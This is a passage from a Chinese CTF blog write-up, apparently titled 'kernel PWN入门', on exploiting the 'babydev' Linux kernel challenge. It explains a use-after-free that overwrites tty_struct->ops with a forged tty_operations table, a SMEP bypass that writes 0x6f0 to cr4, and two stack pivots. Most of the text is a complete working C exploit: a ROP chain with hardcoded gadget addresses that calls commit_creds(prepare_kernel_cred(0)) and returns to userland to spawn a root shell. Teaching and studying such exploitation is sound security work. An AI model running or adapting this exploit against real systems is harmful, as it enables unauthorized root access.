不难看出,这个结构体中存着许多的函数指针。当我们对ptmx驱动进行write时,就会调用上面write指针指向的函数,。那么如果我们能伪造这个结构体,并且可以修改const struct tty_operations *ops这个指针,不就可以执行我们的提权代码了吗。(很像我们的FSOP)

我们先来进行一些准备工作:

由于本题开启了SMEP,无法直接ret2user,但是我们可以绕过。

SMEP和SMAP都通过cr4寄存器的值来判断,因此我们找到如下绕过的gadget:

0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret

在CTF中,我们常将cr4的值设置为0x6f0来绕过SMEP。

本题没有开启SMAP,所以我们可以在用户态的栈上布置ROP链和tty_operations结构体。

并且本题无KASLR,**/proc/kallsyms**没有设置root权限,可以直接读取:

/ $ cat /proc/kallsyms | grep "commit_creds"
ffffffff810a1420 T commit_creds
ffffffff81d88f60 R __ksymtab_commit_creds
ffffffff81da84d0 r __kcrctab_commit_creds
ffffffff81db948c r __kstrtab_commit_creds
/ $ cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff810a1810 T prepare_kernel_cred
ffffffff81d91890 R __ksymtab_prepare_kernel_cred
ffffffff81dac968 r __kcrctab_prepare_kernel_cred
ffffffff81db9450 r __kstrtab_prepare_kernel_cred

接下来,就该考虑如何控制程序执行流了。由于我们无法控制内核的栈空间,所以我们需要使用栈迁移。

经过动调可以发现,在我们调用tty_operations->write时,rax寄存器中存放的便是tty_operations结构体的地址。那么我们就可以使用形如mov rsp, raxxchg rax, rsp之类的指令进行栈迁移了。

由于rax指向的地址是tty_operations[0],而tty_operations->writetty_operations[7],这一段空间很小,我们得再执行一次栈迁移。

最后exp如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0

//mov cr4, rdi ; pop rbp ; ret
#define MOV_CR4_RDI 0xffffffff81004d80

//pop rdi ; ret
#define POP_RDI 0xffffffff810d238d

//swapgs ; pop rbp ; ret
#define SWAPGS 0xffffffff81063694

//iretq ; ret;
#define IRETQ 0xffffffff814e35ef

//mov rsp, rax;dec ebx;ret,做栈迁移用
#define MOV_RSP_RAX 0xFFFFFFFF8181BFC5

#define POP_RAX 0xffffffff8100ce6e


size_t pkc_addr = 0xffffffff810a1810;
size_t cc_addr = 0xffffffff810a1420;
void getRoot(){
    char* (*pkc)(int) = pkc_addr;
    void (*cc)(char*) = cc_addr;
    (*cc)((*pkc)(0));
}
 
void getShell() {
    system("/bin/sh");
    /*
   if (getuid() == 0) {
      printf("[+]Rooted!!\n");
      system("/bin/sh");
   } else {
      printf("[+]Root Fail!!\n");
   }
   */
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("[*]status has been saved.");
}

int main() {
   //保存用户态寄存器
   save_status();
   int fd1 = open("/dev/babydev",O_RDWR);
   int fd2 = open("/dev/babydev",O_RDWR);
   if (fd1 < 0 || fd2 < 0) {
      printf("open file error!!\n");
      exit(-1);
   }
   
   ioctl(fd1,0x10001,TTY_STRUCT_SIZE);
   close(fd1); //UAF
   
   size_t ROP[0x100];
   int i=0;

   //修改cr4寄存器
   ROP[i++] = POP_RDI;
   ROP[i++] = 0x6f0;
   ROP[i++] = MOV_CR4_RDI;
   ROP[i++] = 0;

   ROP[i++] = (size_t)getRoot;
   ROP[i++] = SWAPGS;
   ROP[i++] = 0;
   ROP[i++] = IRETQ;

   ROP[i++] = (size_t)getShell;

   ROP[i++] = user_cs;
   ROP[i++] = user_rflags;
   ROP[i++] = user_sp;
   ROP[i++] = user_ss;
   
   size_t fake_tty_operations[35];
   fake_tty_operations[7] = MOV_RSP_RAX;//调用write时,rax里存的是fake_tty_operations[0]的地址,所以用这条指令将栈迁移到fake_tty_operations[0]位置

   fake_tty_operations[0] = POP_RAX;
   fake_tty_operations[1] = (size_t)ROP;
   fake_tty_operations[2] = MOV_RSP_RAX;//再次将栈迁移到ROP链的地址上
   
   size_t fake_tty_struct[4];

   int fd_tty = open("/dev/ptmx",O_RDWR);
   read(fd2,fake_tty_struct,4*8);//将tty_struct前几个的值保存

   fake_tty_struct[3] = (size_t)fake_tty_operations; //将tty_struct的tty_operations *ops指向我们伪造的地方
   write(fd2,fake_tty_struct,4*8);
   
   size_t buf[4] = {0};
   write(fd_tty, buf,32); //调用tty_operations->write

   close(fd2);
   return 0;
}

至此,即可成功提权。


kernel PWN入门
http://whi4ed0g.xyz/2025/03/17/kernel-PWN/index/
作者
whi4ed0g
发布于
2025年3月17日
许可协议